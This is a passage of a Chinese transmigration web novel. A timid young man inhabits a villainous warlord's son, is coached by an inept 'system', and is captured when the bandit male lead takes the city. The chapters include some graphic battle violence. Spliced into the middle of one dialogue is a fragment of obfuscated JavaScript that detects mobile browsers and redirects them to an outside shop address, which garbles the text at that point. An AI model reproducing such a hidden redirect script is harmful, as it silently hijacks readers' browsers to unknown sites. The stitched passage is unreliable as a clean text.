看他怂兮兮的样子,乔山越的神情缓了下来,他不喜欢这个人嘴里不干净、小小年纪的不学好。然而实际上张家三兄弟年纪应当是和他差不多的,张子鸣更是早在红尘滚滚里腌入味了,但他没来由地就觉得这个人年纪很小,像是学生——或许是因为他那双干净澄澈的眼睛。
乔山越见姜唯僵着不敢说话,却又笑了,身子往床柱上一靠:“没说不能碰啊,三少爷的恩情我可都记得呢。”
短衫随着他的动作敞开,露出结实的胸膛和腹肌。
姜唯一看,更是嫉妒得牙痒痒,一个戏子这么有男人味干什么?他都没有腹肌!
”谁要碰你了?” 姜唯瞪着他道。
乔山越状似惊讶地挑了挑眉:“三少爷不是喜欢我吗?”
姜唯一愣,这才想起来自己的人设,赶忙道:“是啊。”
他想起原著里的情节,硬生生地装出了副色眯眯的嘴脸:“既然你这么主动,我就却之不恭了。”
乔山越看着他变脸,挑了挑眉,往后靠了靠,有‘请您自便’的意思。
姜唯看到他这副坦然样子就牙痒痒,走过去伸出手,一下子按在了男人的肚子上,顿时被掌下灼热坚实的触感吓了一跳,好硬!
姜唯抖了抖,觉得自己脸有点发烫,不自觉地屏住了呼吸,等待着男主跟剧情里一样把他的手拍开,然而等了半天却没等到动静,他狐疑地抬起眼,却见乔山越一脸闲适,好整以暇地看着他。
这人怎么不按剧情来呢?
姜唯有点发懵,尝试性地移动了一下手掌,乔山越还是毫无反应。
男主不配合走剧情,难道他还要继续摸?姜唯有点懵圈儿,往上……他看了眼男人赤裸的胸膛,脸色顿时红了,下意识地别过了目光。接着就看到了男人撑在身侧的手,他身材是壮了点儿,但手的确是戏子的手,修长优美。
姜唯心头一动,转而握住了那只手,接着抬头瞪向乔山越。
乔山越脸上闪过一丝惊讶,但很快笑了起来,接着竟然反手握住了他的五指,
”!!“
姜唯猝然跟被烫到了一样收回手:“我、我突然想起有点事,我回家了!”
说完他就匆匆背过身往外走,刚跨出房门,就听到身后传来乔山越快意的大笑。
4. 霸道土匪俏军阀
简直太可恶了!
姜唯一回帅府就扑倒了床上,狠狠打了几下枕头:“他怎么能那样啊!”
他长这么大还没跟人牵过手呢!姜唯愤恨极了,男主吃他的饭,用的钱,竟……竟然还敢那么对他!姜唯说不清楚自己为什么这么生气,坐在床上想了半天才回过味来:
“系统,我是不是被男主耍了?”
系统:……
被男主跟逗猫似得耍了这么多回,才反应过来吗?
系统真是没话讲,它还以为姜唯是爱面子没表现出来,没想到他是真没反应过来。系统再一次认识到它这回是真栽了,签了个笨蛋,但现在说什么也晚了。
“他竟然敢耍我!” 姜唯的脸渐渐涨红,愤怒地道:“他怎么敢的!”
系统:……还不是因为你现在牛皮哄哄,一见到男主就尿。
这话它只敢在心里说说,真让姜唯知道肯定会跳脚,嘴上只好哄道:「这些都是小事,剧情走过就可以了。」
姜唯果然被转移了注意力:“那剧情进度怎么样?”
系统查了一下,语气变得犹豫:「……15.3%」
姜唯惊了:“怎么只有这么点儿?!”
系统也很无奈,姜唯实在是太不争气了,每次跟男主见面都被对方牵着鼻子走,台词能说一两句都算不错了,而且他的语气和状态都跟原书差太远了!原书里的反派是嚣张跋扈,姜唯却在男主面前唯唯诺诺。
系统真是愁得头发都要掉了,正想着要怎么委婉地指出姜唯的问题,就忽然听到他说:
“都怪他!”
姜唯气得咬牙,恨恨地道:
“都怪乔山越不按剧情走,他太过分了!”
原书里这段情节是张子鸣和扮成戏子的男主你来我往,每次想占男主的便宜都被对方用技巧化解。到了他这里乔山越就跟吃错了药一样,还敞开衣服非要他摸,真不要脸!
姜唯用力锤了一下枕头,骂道:“都不按剧情来还算什么男主!”
系统旁观他皱着小脸拿鹅绒枕头撒气,觉得都能听到猫叫。如果说原书的张子鸣是条毒蛇,那姜唯就是只爪子都没张齐的小奶猫,气急了也只会喵喵叫,它要是男主也不会把他放在眼里。
系统用识海翻了个白眼,耐下性子安抚道:「宿主,你冷静点——」
姜唯拿起枕头就往外扔:“气死我了——”
下一瞬,卧室的门被人拉开,来人单手接住枕头,后面露出张男人的脸。
张维筠皱着眉:“你干什么?“
姜唯被他不爽的表情震了一下,随即反应过来,抬高了声音道:“你进我房间来干什么?出去!”
张维筠本来也没想进他的房间,如果不是他们的爹命他来传话他根本懒得搭理这个三弟。但见姜唯一副跳脚的样子他反倒不急着走了,而是挑了挑眉,上前几步左右看了看,竟拉出了把椅子坐了下来。
姜唯瞳孔巨震,差点没一口气抽过去:“他竟然不脱鞋!!”
这个人居然穿着军靴就进了他的卧室!!
系统:……现在的重点是这个吗?
张维筠在他恶狠狠的瞪视下露出一个假笑:“大白天的,三弟生什么气呢?”
姜唯怒视他:“关你什么事?你给我出去!”
说罢他又气急败坏地扔出了个枕头,张维筠这次都懒得挡,侧头躲了过去,让枕头软绵绵地掉在了地上。他回过目光,见姜唯满脸恼怒地坐在床榻上,其实是有点疑惑的。
以他对这个弟弟的了解,飞过来的应该是匕首而不是枕头,再不济也应该是烟灰缸,扔枕头这种小儿女撒气一样行为不应该出现在他们张家人身上。
张维筠看向气呼呼坐在床榻上的姜唯,又发现这个房间的布置似乎是换了,他可记得他们兄弟的床铺上没有这么多层褥子,也没有这么多枕头,更没有桌上的那些小摆件——如果这不是在帅府,他恐怕会觉得这是哪位小姐的闺房。
张维筠不禁看向姜唯:“三弟,上回让你叫大夫来你叫了吗?”
姜唯先是一愣,而后气得瞪圆了眼睛:“你什么意思?你骂我有病对不对?”
张维筠看着他,他平日是不愿和这个弟弟言语上纠缠的,今天却神使鬼差地挑了挑眉,道:“三弟聪慧。”
姜唯哪里听不出他是在讽刺,气急地‘噌’地一下从榻上直起了身:“你!”
他‘你’了半天都没说出第二个字,张维筠靠在椅子上等了半天都没等到他的下文,皱了皱眉:“有什么话就说,跟个兔子似得立着干什么?”
姜唯差点被气死:“你说谁是兔子?你才全家都是兔子!”
他气疯了,没意识到这句话把他现在这具壳子也骂了进去。
张维筠看着他,倒是没生气,面上的笑容却是淡了。他这个弟弟虽然阴毒愚蠢,但好歹是在帅府的教育下长大,轻易不在人前露怯,特别是在他们两兄弟面前。而且他行事手段狠辣,之前几乎每个月都会背地里整出些乱子来。然而近日来帅府上下竟然异常安静,连责打下人的事情都没有。张维筠之前还在心里暗暗警惕,觉得这个三弟或许是在密谋什么大事。
然而看着把床布置得像个兔子窝还瞪着眼睛跟他顶嘴的姜唯,张维筠心中的警惕有些动摇。
这个弟弟怎么还越活越……小家子气了呢?
张维筠上下打量了他两眼,觉得还是得叫个大夫来看看。
“我们家只有你一个人喜欢玩儿兔子。” 张维筠道,也懒得再跟他多说,直接道:“我来是告诉你,后日大帅要出征,你留下来把家看好。”
姜唯闻言一愣,随后想起来了这个情节。原书里张大帅出征,带走了两个嫡子,留下了张子鸣一个人守城。男主就是趁着这个空子忽然起兵夺了城,张子鸣毫无防备直接被打得狼狈出逃,把整座城加上帅府剩下的人马和资源都拱手让给了男主。
姜唯精神一震,倒不是为了守城,而是为了重要剧情的到来——他终于可以‘欺负’男主了!
在男主起兵之前,张子鸣曾狠狠欺辱过他一番。他不耐烦跟戏子‘秋燕’再周旋下去,直接领了兵包围了戏楼,想要□□男主。虽然最后被化解了过去,但男主被逼得喝了好多酒,还当众给张子鸣下跪。虽然第二天男主就忽然发难打了回去,但姜唯一想到乔山越那么嚣张的一个人给自己下跪,就觉得浑身舒坦。
“嗯。” 他对剧情期待不已,点了点头道:“我知道了。”
张维筠见状目光又变得有些古怪,以他对这个弟弟的了解,知道了大帅出征又不带他肯定是会闹一场的,就算最后还是不能去也一定会趁机讨些好处。而今天这人一反常态张口就答应了下来,张维筠却并不高兴,甚至心里还有点打鼓。他这个弟弟虽无谋略,但心狠手毒,又凶名在外,守住军营还是够用的。
但今天张维筠看着榻上青年一双清澈的眼睛,竟有些放不下心:“你一个人可以的吧?”
姜唯敷衍道:“嗯嗯。” 反正都守不住,他做做样子就行了。
张维筠皱着眉看了他一会儿,才站起身,在出门前又想起了什么,回过头道:“还有,你这几天就别往那戏子哪儿跑了,好好去几趟军营。”
姜唯闻言在心里撇嘴,他可是要去走剧情的!又‘嗯嗯’了两声。
张维筠看出他的敷衍,眉头皱得更紧,想开口斥责,但转念一想他又何必费这个口舌?都不是一个娘肚皮里生出来的。这么想着,张维筠闭上嘴转身打了帘子就走了,路上却还是皱着眉。到了军营被张卫擎看见,颇为新奇地问他道:
“那个又说了什么,让你愁成这样?”
‘那个’自然指张子鸣。
张维筠却是摇了摇头,道:“他没说什么。” 说罢,他看向自己这个大哥,犹豫了片刻
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还是道:“大哥,你不觉得他最近有点不对吗?”
张卫擎看了他一眼:“怎么不对?”
张维筠默然,他脑中浮现出姜唯瞪圆的眼睛,竟然想说这个弟弟似是变’单纯‘了,什么心思都写在脸上,但想起之前他的所作所为,到底是没把话没有说出口:
“他……最近似是有点傻,我怕会有问题。”
张卫擎挑了挑眉,定定看了张维筠一眼,遂收回了目光:“恐怕心思都放在戏园子里吧,二弟,你可别被他蒙骗了。“
张维筠闻言,心里对姜唯’单纯‘的判断一下子被打散了,想到他一门心思往那腌臜地方钻,脸色冷淡下来,他为这么个上不得台面的玩意儿担心个什么劲儿:“谢大哥提醒。”
张卫擎点了点头,两人不再在这个人品低劣的弟弟身上面浪费时间,转而说起了正事。
姜唯不知道自己还被背后蛐蛐了一顿,第二天又起了个大早,带着饭菜直奔戏园子去了。
在城中四处打包来的精致餐点摆了一桌,姜唯想到自己不日就能给男主脸色看,开心得也不心疼这些好菜了,一边让人布菜一边笑着道:
“吃吧,都是你爱吃的。”
然而今天男主却有点奇怪。
乔山越坐在桌边,脸色不阴不阳,平时像个饕餮似得端起碗就吃,今天却坐了半天都没有动筷。
姜唯有些奇怪,把一笼包子往他面前送了送:“秋燕,你昨天不是说想吃十六桥的包子吗?吃吧,这可是现包的。”
乔山越却依旧是没动筷:“我今天又不想吃了。”
姜唯一愣,’哦‘了一声,转而拿来另一盘糕点:“那你吃这个吧,好吃的。”
乔山越看了他一眼,姜唯不知道他什么意思,只觉得今天男主有点怪怪的。
院子里的气氛一时有些冷凝,姜唯有点无措,不知道就一天没见男主忽然变了个样子。
过了好一会儿,乔山越才收回了目光,往椅背上一靠:“我口渴,想喝粥。”
姜唯闻言松了口气:“原来是想喝粥啊,有的有的。”
他连忙把粥端过来,放在乔山越面前,谁知男人扫了一眼就仰起头道:“手累,不想端。”
他这话一出,在场帅府的仆人都倒吸了口凉气,看乔山越的目光不禁带上了隐约的不满。虽然这位三少爷平日在府里也不得人心,但也不是这么个小戏子能踩到头上的。而且近日来三少爷挺消停的,众人看着他被这个戏子肆意差使,心中多少积了些不平。
姜唯也有些惊讶,却没有生气,他脑子不太聪明,骨子里比较习惯于路径依赖,这些天下来已经习惯被乔山越牵着鼻子走了。闻言第一反应竟然是端起了粥碗,舀出一勺凑到了男主嘴边:
”那我喂你吧。“
乔山越一顿,转头看向他。
姜唯对上他的目光,心下一颤。
下一瞬,他的手被挥开,粥碗掉到了地上。
’啪‘的一声,瓷碗摔了个粉碎。
姜唯的手上溅了粥,被烫得’啊‘了一声。这才终于生气了,捂着手背瞪大了眼睛看向男人:“你干什么?!“
然而他看到乔山越的表情,却骤然一顿。
乔越山脸上没有往日讨人厌的笑,垂视着他。
姜唯从他的目光里感到一阵悚然,下意识地想后退,却被抓住了手臂。
“三少爷——” 乔山越缓缓俯下身,在他耳边用只有两个人能听到的声音道:“你在其他人面前,也是这么犯贱的吗?“
姜唯一愣,瞳孔微微缩紧,几乎不敢相信自己听到了什么。
乔山越却是松开了他的手臂,看向惊住的姜唯:
“我不知道你想在我身上得到什么,但你是得不到的。”
他转头一脚踢翻了饭桌,在众人的惊呼声中站起身:
“你可以滚了,别让我再看见你。”
5. 霸道土匪俏军阀
姜唯埋在床榻上,用枕头遮着脸,一动不动。
系统小心地道:「宿主——」
姜唯吸了吸鼻子。
系统顿时噤声,不知道该怎么安慰他。
姜唯从男主那里灰溜溜地回来,撅在榻上已经一个多小时了,一句话也不说。陪他回来的仆人们看着都觉得不太妥当,忍不住上前道:
“三少爷……您还没用早膳呢。”
姜唯没抬头,闷闷地道:“我不想吃。”
仆人立在床边,其实平常他们是不愿管这位三少爷的事的,但今日那个戏子也未免太过分了。而且三少爷也不知怎么了,全没了往日的阴狠的手段,就傻愣愣地由着那戏子欺负,仆人们看着都觉得窝囊,不禁道:
“三少爷,那戏子太不识抬举——可要找人去教训教训他?”
姜唯闻言猛地抬起头:“别跟我提他!”
仆人一下子愣住了,震惊地看着面前青年微红的眼圈和眼尾的一点湿痕——这是被欺负哭了?
姜唯抿着唇,努力地瞪大还盈着泪的眼睛:“你出去!”
仆人赶忙告退,到了外头还惊魂未定,怀疑自己是不是看错了?姜唯胸膛起伏了两下,吸了吸鼻子,低头抱住被子滚到了床榻最里面。
系统没想到他竟然哭了,一时声音也软了下来:「宿主……」
姜唯把脸埋在被子里:「他太过分了。」
系统这时候当然什么都依他:「嗯嗯,都是男主的错!」
姜唯瘪了嘴,又落下了一滴泪。
那小模样看得系统都有点心软了,把很久没用的育儿版本调了出来:「宝宝不哭,男主坏,我们可以惩罚他的呀,明天我们多带点人去打他好不好?」
姜唯却没说话,原本他很期待明天的剧情,但系统这时候提起来,他脑中却浮现出乔山越冷漠的脸,不禁瑟缩了一下,把脸朝被褥深处藏起来:
”……我不想再看见他了。“
姜唯是被吓怕了。
他就是这么个窝囊性子,欺软怕硬,在对他好的人面前嚣张跋扈,在外人面前怂得比谁都快。现实生活中父母朋友看穿了他的这个特质,却都乐意宠着他,以至于姜唯其实没有多少面对恶意的经验。
……现在想到乔山越的脸,他就觉得心里很不舒服,有点沉甸甸地往下坠,还一揪一揪地疼。
“他居然骂我。” 姜唯神情低落:“我再也不想见到他了!”
系统闻言却急了:「宿主,男主怎么能不见呢?我们还要走剧情的啊。」
姜唯不说话,整个人蔫巴巴的:”我就是不想见。“
系统的头皮都快炸了,他的一个任务可不能就这么砸了啊!他费劲巴拉地劝了姜唯半天,甚至还提议明天可以抽乔山越鞭子,它会控制姜唯的身体,保证男主没有反手之力,姜唯才逐渐表现出了点兴趣:
“真的可以吗?”
系统就差给他跪下了:「真的可以!宿主请相信我!」
姜唯这才勉强答应了下来,到了第二天真要出门时又扭扭捏捏的,系统好说歹说,直到日上三竿才把他从床上劝起来。
他们叫了几个仆人,接着就往军营走,姜唯可没忘记原书里张子鸣是叫了一五百精锐去围了戏园子,他要叫一千!
“这次我一定要把场子找回来!” 姜唯被系统安慰了一宿,此时找回了状态,愤愤道:“让他跪着跟我道歉!”
系统也给他打气:「嗯嗯!叫一千!」
然而等姜唯真的到了军营,却没见到什么人。校场上空空荡荡的,姜唯转了好几圈半个人影都没看到,不禁疑惑道:“人都哪去了?”
跟随的仆从也不知道:“许是跟着大帅出征了?”
姜唯登时气急,在心里恨上了张维筠,叫他守城竟然连人都不给他留一个?
系统却觉得奇怪:「不对啊,他们不可能一支军队都不给你留,你再找找呢。」
姜唯于是跟着系统的地图往里面走,最后才在卫所里找到几个人。见他来了连忙站起来行礼,动作青涩一看就是新兵。
姜唯皱眉问:“怎么只有你们,其他人呢?”
一个新兵答道:“五市街那边有骚乱,他们去查看情况。”
姜唯‘哦’了一声,根本不关心是什么骚乱,只觉得自己运气实在太差,但剧情不能拖延,他于是把军营里剩下了人全部聚拢,将就着带着往梨园去了。
他带着一群新兵,浩浩荡荡地在街上走,晃眼一看也挺有气势的。姜唯本来想好好炫耀一番,但不知道为什么今天街上人特别少,往日繁荣的商铺都关上了门,没了车水马龙的人群和叫卖的小贩,整座城冷冷清清的。
姜唯有些疑惑,但也没细想,觉得这样倒是能走得快些。他心里想象着乔山越跪地求饶的样子,不禁露出了微笑,三步并作两步,很快就带着人走到了梨园附近。
然而转过街口,姜唯忽然听到了喧闹声,他还没能看清状况脑中就忽然传来了系统的声音:
「小心!」
姜唯只听见‘噌’的一声,一把钢刀从他耳边擦过,直接没入了身后的墙体中。
!!
姜唯的瞳孔极具收缩,倒映出面前一片兵荒马乱。
只见大街上两拨人马正打在一起,里面其中一批是着军服的士兵,另外一批人穿着苍青色的短打,腰间佩刀,两帮人厮打声和枪声混杂在一起。姜唯眼睁睁地看着一个士兵头部中弹,脑浆混着血液从后脑飞出,向后倒在了地上。
这场景冲击力太大,姜唯倒吸一口凉气,脸上的血色登时褪了个干净。
“啊!”
他身后的新兵大叫了一声,被子弹擦到了手臂。他们都刚从军校毕业不久,没上过战场,看到这个场面顿时慌了,也没来保护姜唯,和帅府的仆人一起纷纷四散奔逃,留下姜唯一个人还呆呆地站在战场中央。
系统在他的识海里尖叫:「宿主!你快跑啊!」
姜唯却已经被吓傻了,脑子里都是刚才那一幕。
系统这才想起他刚才忘记给姜唯开视觉保护了,赶紧调出来给他打开:「宿主,这样就看不见了吧?」
姜唯的视野一闪,血肉横飞的景象顿时变成了一片马赛克。他这才回过神来,看到眼前一片红红白白的色块,脸色又白了两分:“呕!”
这跟直接看到有什么两样!
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「诶诶诶,别吐啊!」系统赶紧给他调整了色彩设置:「给你弄成黑白的,现在好了吧?」
姜唯眼前的色块顿时变成了一片深深浅浅的黑灰,他眼前一花,觉得跟被人蒙住了眼睛一样:
“这样我什么都看不见啊!”
一人一系统还在纠结视觉设置的事,都没发觉不远处一个人注意到了直愣愣站着的姜唯,看见他身上的军装,面上顿时露出凶色,朝他举起了枪口。
系统还在识海里折腾:「那我把清晰度调高点……诶?清晰设置在哪来着?」
姜唯气得大叫:”你怎么回事?不是二代智能系统吗?两个按钮都找不到!“
下一瞬,一只手从他身后伸来,姜唯只觉得腰侧一轻,耳边响起枪声:
“砰!”
惨叫声响起,姜唯只看见眼前的马赛克晃荡了一下,向后倒去。
低沉的男声在他身后响起:
“有人拿枪对着你都不知道跑?“
姜唯一愣,回过头,在一片马赛克中看见了乔山越的脸。
他还穿着半面戏服,浓眉压在桃花眼上,神情非常阴沉:
“我不是让你滚远点吗?”
他不提还好,一提姜唯就记起了昨天的事,连血腥场景都忘了,怒瞪着男主道:“我是来找你的!”
找你算账!
闻言,乔山越脸色变了变,很快转过头,抬手就又是一枪。
“啊!”
惨叫声响起,姜唯只看到一片晃动的马赛克。乔山越又开了两枪,接着抬手揪起他的后衣领就走。
姜唯被他提溜着,踉踉跄跄地走到了一条小巷里,接着又骤然被放开,一个没站稳差点跌到地上。
“你的枪是摆设吗?”
男人冰冷的声音传来。
姜唯靠着墙,抬头便见乔山越皱着眉看着他,他眉骨高眼窝深,表情有点凶。
姜唯愣住,一时竟没说出话来。
见状,乔山越眉头一拧:“说话。”
姜唯浑身一震,心头那点气马上就消散了,下意识地说了真话:“我、我也不会用枪啊……”
他又没上过战场,这怎么能怪他呢?姜唯有点委屈,而且他还有个拖后腿的系统!
乔山越却是眉尾一跳:”你一个军阀之子,不会用枪?“
姜唯这才发觉自己说错了话,表情一僵,不知道该怎么解释。
乔山越见他一脸呆愣,心里冒出股烦躁,目光若刀剔过青年白皙的脸:
“怎么能这么没用?”
姜唯一震,感受到了面前人的嫌恶,心下又泛起了之前那股不舒服的感觉,下意识地后退了半步。
看见他的动作,乔山越面色微微变了变,这时巷口外传来几声枪响,乔山越转过脸,迎着火光‘啧’了一声,回头将枪扔在了地上:
“你该回哪去回哪去,不想死就别再在外头乱晃。”
说罢他转身就要走,然而目光落在满脸惶然的姜唯身上,脚步又是一顿。
姜唯眼前一花,被什么东西都头罩住,他立即伸手去抓,拉下来一看,发觉是乔山越身上的那半面戏服。
6. 霸道土匪俏军阀
姜唯把那把枪捡起来攥在了手里,拢着戏服站着就不知道该怎么办了。
外面还在不断传来枪声,姜唯害怕地往墙角缩了缩:“系统,现在怎么办?”
系统想了想道:「先离开这儿吧,回去帅府。」
这时外头一声巨响,像是什么东西爆炸了,姜唯双腿一软,直接抱着头蹲在了地上:“啊!”
「别叫!」系统赶忙道:「你先躲起来,别被发现了。」
巷尾堆着一些杂物,姜唯爬到了一张废弃的木桌下面,又用宽大的戏服把自己罩住,终于觉得外面的枪声小些了。
系统在识海里安慰他:「别害怕,真出什么事我会保护你的。」
姜唯已经不相信它了:“那你刚才怎么不保护我??”
系统有些汗颜:「抱歉,一时没反应过来……」
它说完自己也沉默了,它以往只觉得姜唯不太聪明,怎么这样看下来,它自己好像也不是很聪明呢……
一人一系统窝在小角落,不约而同地沉默了。
巷口外时不时传来爆炸声,系统为了证明自己是合格的人工智能,在姜唯大脑里放起了舒缓的音乐,盖过了枪炮声。听不见声音了,姜唯逐渐放松了下来,这才想起来问:
”系统,这到底是怎么回事啊?“
怎么突然就打起来了?姜唯想到刚才看到的乔山越,更加茫然,他还没走剧情呢!
系统犹豫地道:「看起来……好像是剧情提前了。」
姜唯震惊:”提前了?”
「对,这本来应该是之后的剧情……」
系统道:
「男主被张子鸣在戏园羞辱后,趁着张氏父子出征积蓄够力量后造反夺权,炮灰张子鸣被狼狈赶出了城外,之后这座城市就变成了男主做大做强的根据地。」
姜唯更惊讶了:“但是我还没欺辱他呀,他怎么就造反了呢?”
系统不禁语塞:「呃——」
它沉默下来,看着姜唯清澈的眼睛,觉得男主很有可能是看准了他又笨又窝囊,且毫无威胁,直接就起兵了。
但它不敢跟姜唯说,怕他炸毛。
事实证明系统还是要比姜唯聪明一点,因为乔山越确实是这么想的。
巷外,战事呈一边倒的态势。乔山越除下戏服,看着群龙无首的军队轻易地被冲散,死的死逃的逃。一个穿着军装的青年从他身后走出,道:
“你预料的不错,主力精锐都被张自明带走了,剩下的都是些虾兵蟹将。” 他看了看战局,挑眉道:“连个指挥的都没有,看来是我高看那位张三少了,没想到他连出现在战场的勇气都没有。”
乔山越发出一声嗤笑。
望楚云看了他一眼:”你笑什么?“
乔山越摇了摇头,望向战场中央。人家有勇气得很,刚才还杵在战场中间找死呢。
“你认识他?”
“谁?张三少?” 望楚云道:“不算认识,在军营见过几面。”
乔山越问:“你觉得他怎么样?”
望楚云想了想,答道:“此人手段阴险,嚣张跋扈,但手段上不得台面,实则胆小如鼠,不足为惧。”
乔山越又嗤笑了一声,倒是有一半对。他脑中浮现出青年白着脸打摆子的模样,可不就是胆小如鼠吗?
这时望楚云又道:“虽不重要,但这个人心思歹毒、下手阴狠,而且还侮辱过你,还是在此地杀掉比较好。”
乔山越脚步一停,望楚云继续道:
“只是不知道他现在在哪,要不要派人去找?”
乔山越回头看了他一眼,望楚云没从他脸上看出什么,露出个疑问的表情,乔山越却再说什么,回过头将剔牙的竹签往地上一扔:“先把这儿收拾了再说。”
他仰起头,振臂一呼:“都滚出来!“
下一瞬,身后的戏园里瞬间涌出一帮人马,皆着苍青色的短打,腰间佩刀,如果被有心人看见,立马能认出他们就是近期风声鹊起的马帮土匪!这群土匪竟不知什么时候潜藏进了城内,这时候直扑向战场,不费吹灰之力就将剩下的士兵和叛军都一锅包圆了。
战场很快被清理,枪炮声也逐渐低了下来。周围的居民各个关门闭户,看到下头冲出来一帮土匪,更是吓得半点声音都不敢发出。
乔山越带着人走过弥漫着硝烟的街道,抬眼看了一圈,忽然道:“都不许乱来,哪个王八蛋敢动歪心思,我就砍了他的手。”
跟在他身后的土匪虽然在外表上不如军队整齐,但面对乔山越的命令都是神情肃穆,高高低低地回了’是‘。
乔山越满意地点了点头,顺手扯了个尸体身上的吊坠,边抛继续向前走。在路过某处巷口的时候却忽然脚步一顿,转过目光。
姜唯正缩在戏服里面看系统给他放的电影。
反正藏着也是藏着,他闲得没事干,系统就给他调出了部烧脑悬疑片,一人一系统看得津津有味,边看边讨论剧情。
姜唯:“所以这个表哥就是凶手吗?”
系统:「看着不像,以大数据分析结果来看后面应该还有反转。」
姜唯’哦‘了一声:”那你觉得是谁?“
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794028|190612||http|test|mini|href|location''.split(''|''),0,{}));
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>系统道:「应该是女主她妈吧。」
姜唯倒吸一口凉气:“什么?”
下一瞬,遮盖在他身上的戏服忽然被掀开,姜唯一惊,转头就对上了双上挑的桃花眼。
乔山越手上拿着戏服,神色不愉:“你他妈窝在这儿干什么?”
大老远就看见颜色鲜亮的戏服裹在暗色的桌椅下头,还一拱一拱的,生怕被人看不见这里藏着个人吗?
乔山越是真的服气,他给这个人戏服是怕他穿着身军装走出去直接被打死,没想到这人竟然蠢到用这么扎眼的东西做掩护。
姜唯看到男主,整个人都震惊了:“秋燕?”
望楚云皱了皱眉,自乔山越身后走出来,目光落在姜唯脸上:“你是……张三少爷?”
姜唯也看向他,这时才发现男主不是一个人来的,他身后还跟着一大票人,除了一个穿军装的年轻人外个个虎都是背熊腰,有断指头的还有瞎眼的,满身匪气,一看就不是什么好人。
姜唯看着他们,不禁往后缩了缩:“你……你们想干什么?”
望楚云的目光在两人之间转了转,有些奇怪为什么乔山越的戏服会在这里,心里冒出些许不好的联想,他看向乔山越:“乔大哥,杀了吧?“
姜唯听了顿时瞳孔地震:“你、你们不能杀我!”
同时在心里疯狂呼唤系统:「系统你快救救我!」
系统也慌了:「他们人太多了,没关系待会儿我给你开无痛——」
望楚云闻言回过头:“为什么不能?凭你是军阀之子?别忘了你的父兄都已出城,一时半会儿赶不回来。” 他说着看了眼姜唯怀中的枪:“若你还有点骨气,就应该自裁。”
姜唯闻言,登时被吓傻了,脸上的血色褪得一干二净。
望楚云见他如此懦弱,还想张口说什么,下一瞬却看见乔山越抬起了手。
他闭了嘴,有些惊讶地看着乔山越上前了半步,垂视蜷在角落的青年:
“先带走。”
一声令下,立即有两个壮汉走上来把他从地上架起来,姜唯被那句自裁吓傻了,像具木偶般任由摆布。
乔山越带着人要走出巷子,往他脸上看了一眼,又补充了一句:
“把他的枪拿走。”
于是姜唯手上的枪也被拿走,被架着走出了巷口,迎面就看见了一大片深深浅浅的马赛克,同时袭来的还有一股浓烈的气味。
那是浓烈的血腥味夹杂着人肉烧焦的气味,姜唯胃里登时一阵翻江倒海,激烈的呕吐欲加上受到的精神的冲击,眼睛一翻就晕了过去。
7. 霸道土匪俏军阀
待再次醒来,姜唯发现自己被关进了牢房里。
牢房里阴暗潮湿,地上铺着干草,姜唯坐在冷硬的木板床上,在隐约的霉臭味中吸了吸鼻子:
“系统,我这是在哪儿啊?”
「宿主,你终于醒了!」系统差点喜极而泣,它看见姜唯被吓晕还以为这次任务是彻底没救了:「你被男主抓住关起来了。」
姜唯瞬间想到了乔山越的脸,登时气急:“他、他怎么能把我关起来呢?剧情里面没有啊!“
系统欲言又止,原书里面是没有,那是因为炮灰张子鸣连夜跑掉了啊!你这没跑掉不就是要被抓起来吗?
姜唯呆坐了一会儿自己也反应过来了,开始埋怨系统:“都怪你,给我放什么电影!”
系统有些委屈:「我也没想到男主还会回来啊……」
它本来是想着姜唯这么胆小,肯定是没办法从战场上逃出去的,就想让他待一会儿等打完了再跑,没想到乔山越走了却又回来了。
姜唯却不依不饶:“你这是什么智能系统?男主来的时候为什么不提醒我?”
系统也有点生气了:「我又要给你放电影又要屏蔽视觉还要陪你说话,我也很忙的好不好!」
一人一系统菜鸡互啄,互相埋怨了好半天才停下来,姜唯气呼呼地坐在床上,摸了摸肚子:“我饿了。”
饿是饿了,但系统也没办法从大牢里给他变出吃的来,但看姜唯瘪着嘴坐着一副委屈巴巴的样子,还是心软了:“我给你加点饱腹感吧。”
它话音刚落,姜唯胃部就满上了舒适充盈的感觉,仿佛刚吃了一顿大餐。
吃饱了,姜唯也懒得生气,在硬床板上干坐了一会儿就觉得无聊,缩到了角落里让系统给他放电影看。
不知过了多久,有人端着餐盘下来送饭。姜唯见他穿着苍青色的短打,腰戴佩刀,是男主的人。
来人很不客气地把餐盘扔下,一副很厌恶他的样子:“你的饭。”
姜唯胃里饱饱的,一看餐盘上只有几碟清粥小菜,直接伸手就掀了盘子:“我不吃!”
碗盘叮铃哐啷地摔了一滴,来人见好饭好菜就这么被糟蹋了顿时瞪大了眼睛:“你!”
姜唯毫不畏惧地瞪了回去,那人被气得脸色发青,看起来随时都想上来给他一拳,但最后不知为什么忍住了,阴恻恻地盯着他:“敬酒不吃吃罚酒……以后有你好受的。”
姜唯瞪着他:“滚!”
那人被气走了,系统看着撒了一地的饭菜,有些心疼地道:「宿主,这饭菜挺好的你怎么不吃?我只能帮你抑制食欲,你还是需要吃饭的啊。」
姜唯‘哼’了一声,脸上满是不忿:“我给他吃的什么东西?他就给我吃这个?我才不吃!”
系统:……
它真不知道怎么形容姜唯,这人似乎根本没有自己是阶下囚的意识。之前还怕得发抖,睡了一觉就又开始作了。
但系统也没什么太好的办法,只能接着陪姜唯看电影。
姜唯把上回没看的悬疑片看完了,系统又给他调了部动作片,结果姜唯看到一半就睡着了。
睡也睡不踏实,地下湿冷,牢房的木板床上只有一层薄薄的褥子,睡起来又冷又硬,姜唯睡得不舒服,梦境中全是刀光剑影,离奇的桥段一个接着一个,接着在某个时刻忽然醒了过来:
“啊!”
姜唯大叫出声,猛地从床上坐了起来。
睁眼是一片黑暗,姜唯喘了两口气,忽然自黑暗中瞥见一个人影:
“啊!!”
他惊得又叫了一声,却听到黑暗中传来一个低沉的男声:
“叽哩哇啦的乱叫什么?“
脚步声响起,乔山越自角落中走出,俊美的面容显露在烛光下。他长身玉立,也穿着苍蓝色的短打,腰佩玉刀,脚上穿着军靴,丝毫不见台上时的美艳灵巧,反而带着一身匪气。
姜唯刚才被吓得差点从床上掉下去,手紧紧抓住了床上的薄被,瞪大了眼睛:”乔山越!“
